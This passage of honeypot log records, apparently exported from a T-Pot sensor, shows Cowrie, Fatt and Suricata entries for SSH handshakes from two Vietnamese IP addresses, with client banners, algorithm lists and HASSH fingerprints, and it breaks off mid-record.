21675	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:54.222555+03	2021-09-20 14:15:03.962612+03	{"_id": "KQbjAnwBvYTbRNuELgQU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51880, "timestamp": "2021-09-20T11:06:54.222555", "@timestamp": "2021-09-20T11:06:54.222Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21677	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:54.329113+03	2021-09-20 14:15:03.965612+03	{"_id": "HgbjAnwBvYTbRNuELgQQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "dc7ac314b893", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:54.329113Z", "@timestamp": "2021-09-20T11:06:54.329Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21678	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:54.345526+03	2021-09-20 14:15:03.966613+03	{"_id": "HwbjAnwBvYTbRNuELgQQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c34f38c05d42", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:54.345526Z", "@timestamp": "2021-09-20T11:06:54.345Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21679	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:54.605506+03	2021-09-20 14:15:03.967613+03	{"_id": "IAbjAnwBvYTbRNuELgQQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "dc7ac314b893", "@version": "1", "timestamp": "2021-09-20T11:06:54.605506Z", "@timestamp": "2021-09-20T11:06:54.605Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21680	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:54.330366+03	2021-09-20 14:15:03.969612+03	{"_id": "LAbjAnwBvYTbRNuELgQU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35770, "timestamp": "2021-09-20T11:06:54.330366", "@timestamp": "2021-09-20T11:06:54.330Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21692	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:55.195709+03	2021-09-20 14:15:03.983613+03	{"_id": "OAbjAnwBvYTbRNuEMAST", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 101322226323913, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 59056, "dest_port": 22, "timestamp": "2021-09-20T11:06:55.195709Z", "@timestamp": "2021-09-20T11:06:55.195Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21681	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:54.346513+03	2021-09-20 14:15:03.970612+03	{"_id": "LQbjAnwBvYTbRNuELgQU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53978, "timestamp": "2021-09-20T11:06:54.346513", "@timestamp": "2021-09-20T11:06:54.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21682	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:54.604749+03	2021-09-20 14:15:03.971612+03	{"_id": "LgbjAnwBvYTbRNuELgQU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35770, "dest_port": 22, "timestamp": "2021-09-20T11:06:54.604749", "@timestamp": "2021-09-20T11:06:54.604Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21683	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:54.625688+03	2021-09-20 14:15:03.973613+03	{"_id": "LwbjAnwBvYTbRNuELgQU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35516, "dest_port": 22, "timestamp": "2021-09-20T11:06:54.625688", "@timestamp": "2021-09-20T11:06:54.625Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21684	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:54.626944+03	2021-09-20 14:15:03.974612+03	{"_id": "MAbjAnwBvYTbRNuELgQU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": 